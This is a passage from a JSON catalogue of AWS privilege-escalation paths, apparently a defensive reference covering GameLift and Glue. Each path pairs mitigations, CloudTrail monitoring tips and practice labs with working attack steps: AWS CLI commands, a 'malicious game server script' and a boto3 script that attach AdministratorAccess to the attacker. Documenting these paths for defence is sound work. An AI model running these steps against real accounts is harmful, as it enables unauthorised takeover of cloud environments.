        "scenario": "privesc-one-hop/to-admin/gamelift-001-iam-passrole+gamelift-createbuild+gamelift-createfleet",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L387"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `gamelift:CreateBuild`, `gamelift:CreateFleet`, and `gamelift:RequestUploadCredentials` permissions. Can be an IAM user or role."
        },
        {
          "id": "build",
          "label": "GameLift Build",
          "type": "resource",
          "description": "A new GameLift build record created by the attacker. The build record is a container for a game server binary that GameLift deploys to fleet instances. The attacker uploads a malicious game server script that calls `iam:AttachUserPolicy` using the fleet instance role's credentials.\n\nCommand:\n```bash\naws gamelift create-build \\\n  --name privesc-build \\\n  --operating-system AMAZON_LINUX_2023 \\\n  --server-sdk-version 5.2.0 \\\n  --build-version 1.0.0\n```\n\nAfter creating the build, `gamelift:RequestUploadCredentials` provides temporary S3 credentials to upload the malicious binary to GameLift's managed S3 bucket.\n"
        },
        {
          "id": "fleet",
          "label": "GameLift Fleet",
          "type": "resource",
          "description": "A new GameLift fleet created by the attacker with the admin IAM instance role attached. GameLift provisions EC2 instances for the fleet and deploys the malicious game server binary. The `SHARED_CREDENTIAL_FILE` credentials provider makes the instance role's credentials available to game server processes.\n\nCommand:\n```bash\naws gamelift create-fleet \\\n  --name privesc-fleet \\\n  --build-id BUILD_ID \\\n  --compute-type EC2 \\\n  --ec2-instance-type c5.large \\\n  --instance-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --instance-role-credentials-provider SHARED_CREDENTIAL_FILE \\\n  --runtime-configuration '{\"ServerProcesses\":[{\"LaunchPath\":\"/local/game/gameserver.sh\",\"ConcurrentExecutions\":1}]}'\n```\n"
        },
        {
          "id": "game_server",
          "label": "Game Server Process",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious game server script that executes on the GameLift fleet instance. The script uses the instance role credentials made available via `SHARED_CREDENTIAL_FILE` to call `iam:AttachUserPolicy` and escalate the starting principal's privileges.\n\nMalicious game server script:\n```bash\n#!/bin/bash\n# Wait for SHARED_CREDENTIAL_FILE credentials to be available\nsleep 10\n# Use the instance role credentials to escalate privileges\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\necho \"Privilege escalation complete\"\n# Keep running so the fleet does not immediately terminate\nwhile true; do sleep 60; done\n```\n\nThe game server process is launched automatically when the fleet's EC2 instances become active. Fleet provisioning typically takes 5-15 minutes.\n"
        },
        {
          "id": "instance_role",
          "label": "Admin Instance Role",
          "type": "principal",
          "description": "The IAM role attached to the GameLift fleet instances. The role must trust `ec2.amazonaws.com` and is made available to game server processes via `SHARED_CREDENTIAL_FILE` (the `--instance-role-credentials-provider` parameter). The game server script uses this role's credentials to make privileged IAM API calls."
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The fleet instance role has AdministratorAccess or equivalent permissions. The malicious game server script successfully calls `iam:AttachUserPolicy` using those credentials, granting the starting principal full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The fleet instance role has some elevated permissions but not full admin access. The game server script can leverage those permissions for data access, security configuration changes, or additional privilege escalation paths, but cannot directly attach AdministratorAccess to the starting principal."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The fleet instance role only has minimal permissions scoped to GameLift operations. The game server script executes but provides limited privilege escalation value."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "build",
          "label": "gamelift:CreateBuild + gamelift:RequestUploadCredentials",
          "description": "Create a GameLift build record and upload the malicious game server binary. `gamelift:RequestUploadCredentials` provides temporary S3 credentials to upload the binary to GameLift's managed S3 bucket.\n\nStep 1 \u2014 Create build record:\n```bash\naws gamelift create-build \\\n  --name privesc-build \\\n  --operating-system AMAZON_LINUX_2023 \\\n  --server-sdk-version 5.2.0 \\\n  --build-version 1.0.0\n```\n\nStep 2 \u2014 Get upload credentials and upload binary:\n```bash\nUPLOAD_CREDS=$(aws gamelift request-upload-credentials --build-id $BUILD_ID)\nAWS_ACCESS_KEY_ID=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.AccessKeyId') \\\nAWS_SECRET_ACCESS_KEY=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.SecretAccessKey') \\\nAWS_SESSION_TOKEN=$(echo $UPLOAD_CREDS | jq -r '.UploadCredentials.SessionToken') \\\naws s3 cp /tmp/gameserver-build/ s3://$S3_BUCKET/$S3_KEY --recursive\n```\n"
        },
        {
          "from": "start",
          "to": "fleet",
          "label": "iam:PassRole + gamelift:CreateFleet",
          "description": "Create a GameLift fleet with the admin IAM instance role attached, using the `SHARED_CREDENTIAL_FILE` credentials provider so game server processes can access the role credentials. This is the `iam:PassRole` step.\n\nCommand:\n```bash\naws gamelift create-fleet \\\n  --name privesc-fleet \\\n  --build-id BUILD_ID \\\n  --compute-type EC2 \\\n  --ec2-instance-type c5.large \\\n  --fleet-type ON_DEMAND \\\n  --instance-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --instance-role-credentials-provider SHARED_CREDENTIAL_FILE \\\n  --runtime-configuration '{\"ServerProcesses\":[{\"LaunchPath\":\"/local/game/gameserver.sh\",\"ConcurrentExecutions\":1}]}'\n```\n"
        },
        {
          "from": "fleet",
          "to": "game_server",
          "label": "Fleet provisions EC2, game server starts",
          "description": "GameLift provisions EC2 instances for the fleet and deploys the malicious game server binary. When the instances become active (typically 5-15 minutes), GameLift automatically launches the game server process defined in the runtime configuration."
        },
        {
          "from": "game_server",
          "to": "instance_role",
          "label": "Server accesses role via SHARED_CREDENTIAL_FILE",
          "description": "The game server process accesses the fleet instance role's temporary credentials via the `SHARED_CREDENTIAL_FILE` credentials provider. GameLift writes the instance role credentials to a shared credential file on the instance, making them available to processes running on the fleet without requiring direct IMDS queries."
        },
        {
          "from": "instance_role",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the fleet instance role has AdministratorAccess or IAM write permissions, the game server script successfully calls `iam:AttachUserPolicy`, granting the starting principal full administrative access."
        },
        {
          "from": "instance_role",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the instance role has elevated permissions but not IAM write access, the game server script can leverage those permissions for data access or reconnaissance but cannot directly elevate the starting principal."
        },
        {
          "from": "instance_role",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions scoped to GameLift operations, the game server script executes but provides limited privilege escalation value."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/gamelift/gamelift-001.yaml"
  },
  {
    "id": "glue-001",
    "name": "iam:PassRole + glue:CreateDevEndpoint",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "description": "A principal with `iam:PassRole` and `glue:CreateDevEndpoint` can create a new Glue development endpoint and attach an existing IAM role to it. Glue dev endpoints provide SSH/Zeppelin notebook access where arbitrary code can be executed with the permissions of the attached role. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A role must exist that trusts glue.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws glue create-dev-endpoint --endpoint-name privesc-endpoint \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --public-key \"$(cat ~/.ssh/id_rsa.pub)\"\n",
          "description": "Create a Glue development endpoint with the privileged role and your SSH public key"
        },
        {
          "step": 2,
          "command": "aws glue get-dev-endpoint --endpoint-name privesc-endpoint",
          "description": "Wait for the endpoint to become available and retrieve connection details"
        },
        {
          "step": 3,
          "command": "ssh glue@ENDPOINT_ADDRESS",
          "description": "SSH into the dev endpoint and execute code with elevated privileges"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Glue dev endpoint need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Glue dev endpoint creation followed by immediate access\n- Monitor CloudTrail for dev endpoint creation by principals who do not usually create endpoints\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Monitor and alert on Glue dev endpoint creation with privileged roles\n- Regularly audit Glue dev endpoints for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Glue service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "Well, That Escalated Quickly: How Abusing AWS API Can Lead to Admin Access",
        "url": "https://know.bishopfox.com/research/privilege-escalation-in-aws"
      },
      {
        "title": "HackingTheCloud - PassRole + Glue CreateDevEndpoint Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint"
      },
      {
        "title": "IAM Vulnerable - Glue CreateDevEndpoint",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 18",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#iampassrole-gluecreatedevendpoint-gluegetdevendpoint--gluegetdevendpoints"
      }
    ],
    "relatedPaths": [
      "glue-002",
      "ec2-001",
      "lambda-001"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L146",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L140"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+glue-createdevendpoint",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Glue-PassExistingRoleToNewGlueDevEndpoint",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "glue:CreateDevEndpoint",
          "resourceConstraints": "Must have permission to create Glue development endpoints"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and glue:CreateDevEndpoint permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "dev_endpoint",
          "label": "New Glue Dev Endpoint",
          "type": "resource",
          "description": "New Glue development endpoint created with a privileged IAM role attached. Dev endpoints provide SSH access and Zeppelin notebook environments where arbitrary code can be executed. The endpoint runs on EC2 instances managed by AWS Glue, and the attached role's credentials are available to code running in the environment.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the glue Service",
          "type": "principal",
          "description": "IAM role passed to the Glue dev endpoint during creation. The role must trust glue.amazonaws.com to assume it. When the endpoint is active, code executed via SSH or Zeppelin notebooks runs with this role's permissions.\n"
        },
        {
          "id": "execute_code",
          "label": "Execute Code with Target Role Permissions",
          "type": "payload",
          "color": "#99ccff",
          "description": "SSH into the dev endpoint or use the Zeppelin notebook interface to execute arbitrary code (Python, Scala, SQL) with the target role's credentials. The code can:\n- Use boto3 to make AWS API calls with the role's permissions\n- Modify IAM policies or create access keys for privilege escalation\n- Access data in S3, RDS, DynamoDB, or other AWS services\n- Query the instance metadata service for role credentials\n- Install additional tools or backdoors in the environment\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. The attacker gains full administrative access to the AWS account by executing code in the dev endpoint environment with the role's credentials.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full admin. This could provide access to sensitive data (S3 buckets, RDS databases, DynamoDB tables) or enable additional privilege escalation paths through IAM modification permissions.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role only has minimal permissions (like logs:PutLogEvents or basic S3 read access). Limited usefulness for privilege escalation, though may still be valuable for reconnaissance.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "dev_endpoint",
          "label": "iam:PassRole + glue:CreateDevEndpoint",
          "description": "Create a new Glue development endpoint and pass the target role to it. The endpoint requires a public SSH key for authentication and takes several minutes to become available.\n\nCommand:\n```bash\naws glue create-dev-endpoint \\\n  --endpoint-name privesc-endpoint \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --public-key \"$(cat ~/.ssh/id_rsa.pub)\"\n```\n\nWait for the endpoint to reach the READY state before connecting.\n"
        },
        {
          "from": "dev_endpoint",
          "to": "target_role",
          "label": "Endpoint assumes role",
          "description": "The Glue dev endpoint automatically assumes the passed IAM role. The role's credentials become available to any code executed in the SSH session or Zeppelin notebook environment. The endpoint runs on EC2 instances in AWS-managed infrastructure.\n"
        },
        {
          "from": "target_role",
          "to": "execute_code",
          "label": "SSH access + code execution",
          "description": "Connect to the dev endpoint via SSH and execute arbitrary Python, Scala, or shell commands with the target role's permissions.\n\nCommands:\n```bash\n# Wait for endpoint to be ready and get address\naws glue get-dev-endpoint --endpoint-name privesc-endpoint\n\n# SSH into the endpoint\nssh glue@ENDPOINT_ADDRESS\n\n# Execute Python code with boto3 to use role permissions\npython3 -c \"import boto3; sts = boto3.client('sts'); print(sts.get_caller_identity())\"\n```\n\nAlternatively, access the Zeppelin notebook interface to run code interactively.\n"
        },
        {
          "from": "execute_code",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access by executing code in the dev endpoint. They can modify IAM policies, create access keys, or perform any AWS action.\n"
        },
        {
          "from": "execute_code",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions (data access, IAM read/write, etc.), the attacker can leverage these through the dev endpoint. This might include accessing sensitive data stores or pursuing additional privilege escalation techniques.\n"
        },
        {
          "from": "execute_code",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions (like logs:PutLogEvents or basic read access), the privilege escalation provides limited value. However, even minimal access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-001.yaml"
  },
  {
    "id": "glue-002",
    "name": "glue:UpdateDevEndpoint",
    "category": "existing-passrole",
    "services": [
      "glue"
    ],
    "description": "A principal with `glue:UpdateDevEndpoint` can update an existing Glue development endpoint to add their SSH public key, granting them SSH access to the endpoint. Since the endpoint executes with the permissions of its attached IAM role, the attacker gains the privileges of that role. This path doesn't require `iam:PassRole` as the role is already attached.",
    "prerequisites": {
      "admin": [
        "A Glue development endpoint must already exist",
        "The endpoint's attached role must have administrative permissions"
      ],
      "lateral": [
        "A Glue development endpoint must already exist"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws glue get-dev-endpoints",
          "description": "List existing Glue development endpoints and their attached roles"
        },
        {
          "step": 2,
          "command": "aws glue update-dev-endpoint --endpoint-name TARGET_ENDPOINT \\\n  --add-public-keys \"$(cat ~/.ssh/id_rsa.pub)\"\n",
          "description": "Add your SSH public key to an existing privileged dev endpoint"
        },
        {
          "step": 3,
          "command": "aws glue get-dev-endpoint --endpoint-name TARGET_ENDPOINT",
          "description": "Retrieve the endpoint address"
        },
        {
          "step": 4,
          "command": "ssh glue@ENDPOINT_ADDRESS",
          "description": "SSH into the dev endpoint and execute code with the endpoint's role permissions"
        }
      ]
    },
    "recommendation": "Restrict access to `glue:UpdateDevEndpoint` using the principle of least privilege.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"glue:UpdateDevEndpoint\",\n  \"Resource\": \"arn:aws:glue:REGION:ACCOUNT_ID:devEndpoint/SpecificEndpoint\"\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for UpdateDevEndpoint API calls\n- Alert on public key additions to dev endpoints\n- Regularly audit dev endpoint SSH keys\n- Implement automated remediation for unauthorized key additions\n- Consider using session-based access instead of SSH keys\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "Well, That Escalated Quickly: How Abusing AWS API Can Lead to Admin Access",
        "url": "https://know.bishopfox.com/research/privilege-escalation-in-aws"
      },
      {
        "title": "HackingTheCloud - Glue UpdateDevEndpoint Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint"
      },
      {
        "title": "IAM Vulnerable - Glue UpdateDevEndpoint",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#glueupdatedevendpoint-gluegetdevendpoint--gluegetdevendpoints"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 19",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "glue-001",
      "ssm-001",
      "ec2-002"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L159",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L468",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L145"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/glue-updatedevendpoint",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Glue-UpdateExistingGlueDevEndpoint",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "glue_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS Glue attacks including dev endpoint exploitation"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with glue:UpdateDevEndpoint permission. Can be an IAM user or role. This principal can modify existing Glue development endpoints to add their SSH public key.\n"
        },
        {
          "id": "dev_endpoint",
          "label": "Existing Glue Dev Endpoint",
          "type": "resource",
          "description": "An existing Glue development endpoint that can be accessed via SSH. The endpoint executes with the permissions of its attached IAM role. The attacker updates this endpoint to add their SSH public key, granting them SSH access.\n"
        },
        {
          "id": "target_role",
          "label": "Target Role",
          "type": "principal",
          "description": "IAM role attached to the Glue development endpoint. This role must trust glue.amazonaws.com to assume it. When the attacker SSHs into the endpoint, they can execute code and make AWS API calls with this role's permissions.\n"
        },
        {
          "id": "ssh_access",
          "label": "SSH into Endpoint",
          "type": "payload",
          "color": "#99ccff",
          "description": "After adding the SSH public key to the dev endpoint, the attacker can SSH into it and execute commands. The endpoint's AWS credentials are available in the environment, allowing the attacker to make AWS API calls with the target role's permissions.\n\nCommand:\n```bash\nssh glue@ENDPOINT_ADDRESS\n```\n\nOnce connected, the attacker can use the AWS CLI or SDKs to interact with AWS services using the endpoint's role credentials.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the AWS account by executing commands from within the Glue dev endpoint.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to sensitive data (S3, RDS, DynamoDB) or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions beyond what the starting principal already had, the privilege escalation provides limited value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "dev_endpoint",
          "label": "glue:UpdateDevEndpoint",
          "description": "Update an existing Glue development endpoint to add the attacker's SSH public key. This grants SSH access to the endpoint without requiring iam:PassRole since the role is already attached.\n\nCommand:\n```bash\naws glue update-dev-endpoint \\\n  --endpoint-name TARGET_ENDPOINT \\\n  --add-public-keys \"$(cat ~/.ssh/id_rsa.pub)\"\n```\n\nThe endpoint must already exist with an IAM role attached. Use glue:GetDevEndpoints to discover available endpoints and their roles.\n"
        },
        {
          "from": "dev_endpoint",
          "to": "target_role",
          "label": "Endpoint executes with role",
          "description": "The Glue development endpoint automatically executes with the permissions of its attached IAM role. The endpoint's environment includes AWS credentials for this role, accessible to any code executed within the endpoint.\n"
        },
        {
          "from": "target_role",
          "to": "ssh_access",
          "label": "SSH into endpoint",
          "description": "After adding the SSH public key, retrieve the endpoint address and SSH into it. Once connected, the attacker can execute AWS CLI commands or run scripts that leverage the target role's permissions.\n\nCommands:\n```bash\n# Get endpoint address\naws glue get-dev-endpoint --endpoint-name TARGET_ENDPOINT\n\n# SSH into endpoint\nssh glue@ENDPOINT_ADDRESS\n```\n"
        },
        {
          "from": "ssh_access",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account from within the Glue dev endpoint.\n"
        },
        {
          "from": "ssh_access",
          "to": "some_perms",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions like S3 read/write, database access, or other privilege escalation permissions, the attacker can leverage these for further attacks or data exfiltration.\n"
        },
        {
          "from": "ssh_access",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions (like basic Glue job execution), there may be limited value in the privilege escalation beyond the starting principal's existing access.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "glue:UpdateDevEndpoint",
          "resourceConstraints": "Target dev endpoint must be in the Resource section"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-002.yaml"
  },
  {
    "id": "glue-003",
    "name": "iam:PassRole + glue:CreateJob + glue:StartJobRun",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L146",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L221"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass a role to glue.amazonaws.com"
        },
        {
          "permission": "glue:CreateJob",
          "resourceConstraints": "Must be able to create Glue jobs"
        },
        {
          "permission": "glue:StartJobRun",
          "resourceConstraints": "Must be able to start Glue job runs"
        }
      ],
      "additional": [
        {
          "permission": "glue:GetJob",
          "resourceConstraints": "Helpful for retrieving job details and verifying configuration"
        },
        {
          "permission": "glue:GetJobRun",
          "resourceConstraints": "Useful for monitoring job execution status"
        },
        {
          "permission": "glue:GetJobRuns",
          "resourceConstraints": "Helpful for listing job runs to track execution"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `glue:CreateJob`, and `glue:StartJobRun` can create an AWS Glue job with a privileged IAM role and execute Python code that modifies IAM permissions. AWS Glue jobs are serverless ETL (Extract, Transform, Load) workloads that run Python or Scala scripts in a managed environment. When creating a Glue job, an IAM role must be assigned that grants permissions to the job's execution environment. If an attacker can pass a privileged role to a Glue job and control the job's code (via S3 script location or inline commands), they can execute arbitrary Python code with administrative permissions to attach policies, create access keys, or perform other IAM modifications. This is a cost-effective attack method (~$0.44/DPU-hour with 0.0625 DPU minimum for Python shell jobs) that executes quickly (1-2 minutes) and is more practical than using Glue development endpoints (~$2.20/hour). The attacker creates a job with malicious Python code, passes an administrative role during job creation, manually starts the job execution, and the job modifies IAM permissions to grant the starting principal administrative access.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role's permissions determine the level of access gained"
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available in the environment, you gain access limited to those role's permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Create Python script that attaches admin policy (upload to S3 or use inline)\n# Example script content:\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='target-username',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n",
          "description": "Prepare a Python script that will attach AdministratorAccess policy to your starting principal. This script can be uploaded to an S3 bucket or provided inline."
        },
        {
          "step": 2,
          "command": "aws glue create-job \\\n  --region us-east-1 \\\n  --name privesc-glue-job \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --command \"Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9\" \\\n  --default-arguments '{\"--job-language\":\"python\"}' \\\n  --max-capacity 0.0625 \\\n  --timeout 5\n",
          "description": "Create a Glue Python shell job with the privileged role. The --role parameter uses iam:PassRole to assign the administrative role to the job. The ScriptLocation points to your malicious Python script."
        },
        {
          "step": 3,
